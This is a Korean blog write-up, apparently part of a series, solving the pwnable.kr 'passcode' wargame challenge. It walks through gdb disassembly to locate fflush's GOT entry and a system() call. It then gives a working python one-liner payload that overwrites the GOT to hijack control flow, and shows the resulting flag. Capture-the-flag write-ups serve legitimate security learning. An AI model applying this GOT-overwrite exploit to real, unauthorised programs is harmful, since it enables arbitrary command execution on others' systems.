   0x08048593 <+47>: call   0x8048430 <fflush@plt>

-----

(gdb) x/i 0x8048430

   0x8048430 <fflush@plt>: jmp    DWORD PTR ds:0x804a004

(gdb) x/i 0x804a004

   0x804a004 <fflush@got.plt>: test   BYTE PTR ss:[eax+ecx*1],al


fflush의 got 주소는 0x0804a004이다.



   0x080485de <+122>: call   0x8048450 <puts@plt>

   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>: call   0x8048460 <system@plt>


system함수의 시작부분을 보면 0x080485e3임을 알 수 있다.


그럼 페이로드를 구성해보면


dummy[96]+fflush()의 got[4]


system()[4] 가 된다.


여기서 system()[4]는 scanf()가 정수형으로 받기 때문에 정수형으로 바꿔서 보내주어야 한다.

0x80485e3 = 134514147


(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode



passcode@ubuntu:~$ (python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

Toddler's Secure Login System 1.0 beta.

enter you name : Welcome DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD�!

134514147

Sorry mom.. I got confused about scanf usage :(

enter passcode1 : Now I can safely trust you that you have credential :)



FLAG : Sorry mom.. I got confused about scanf usage :(





728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25

+ Recent posts